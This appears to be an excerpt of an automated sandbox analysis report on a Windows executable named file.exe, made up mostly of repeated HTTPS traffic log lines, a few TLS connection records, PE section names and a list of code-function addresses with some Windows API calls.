Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50943
Source: unknown	Network traffic detected: HTTP traffic on port 51114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50947
Source: unknown	Network traffic detected: HTTP traffic on port 51065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50940
Source: unknown	Network traffic detected: HTTP traffic on port 51022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 51125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 51203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50958
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50950
Source: unknown	Network traffic detected: HTTP traffic on port 51171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 51055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50967
Source: unknown	Network traffic detected: HTTP traffic on port 50981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50969
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 51081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51206
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51202
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 51197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51029
Source: unknown	Network traffic detected: HTTP traffic on port 50938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51145
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51143
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51148
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51147
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51150
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51038
Source: unknown	Network traffic detected: HTTP traffic on port 51061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51036
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51157
Source: unknown	Network traffic detected: HTTP traffic on port 51153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51163
Source: unknown	Network traffic detected: HTTP traffic on port 51096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51161
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51044
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51049
Source: unknown	Network traffic detected: HTTP traffic on port 51175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51047
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51173
Source: unknown	Network traffic detected: HTTP traffic on port 50974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 50951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51051
Source: unknown	Network traffic detected: HTTP traffic on port 51095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51172
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51181
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51063
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51185
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51183
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51108
Source: unknown	Network traffic detected: HTTP traffic on port 51083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51109
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51107
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 51119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51103
Source: unknown	Network traffic detected: HTTP traffic on port 51131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51119
Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51117
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51113
Source: unknown	Network traffic detected: HTTP traffic on port 51005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51114
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51009
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51128
Source: unknown	Network traffic detected: HTTP traffic on port 51188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51001
Source: unknown	Network traffic detected: HTTP traffic on port 51027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51126
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51003

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:51203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51212 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA8B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA8B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA8B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA2F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA235A0	0_2_6CA235A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA834A0	0_2_6CA834A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C4A0	0_2_6CA8C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA36C80	0_2_6CA36C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D4E0	0_2_6CA2D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66CF0	0_2_6CA66CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA364C0	0_2_6CA364C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D4D0	0_2_6CA4D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9542B	0_2_6CA9542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9AC00	0_2_6CA9AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65C10	0_2_6CA65C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72C10	0_2_6CA72C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA35440	0_2_6CA35440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9545C	0_2_6CA9545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA885F0	0_2_6CA885F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA60DD0	0_2_6CA60DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3FD00	0_2_6CA3FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4ED10	0_2_6CA4ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA50512	0_2_6CA50512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84EA0	0_2_6CA84EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E680	0_2_6CA8E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA45E90	0_2_6CA45E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA976E3	0_2_6CA976E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2BEF0	0_2_6CA2BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3FEF0	0_2_6CA3FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89E30	0_2_6CA89E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75600	0_2_6CA75600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67E10	0_2_6CA67E10
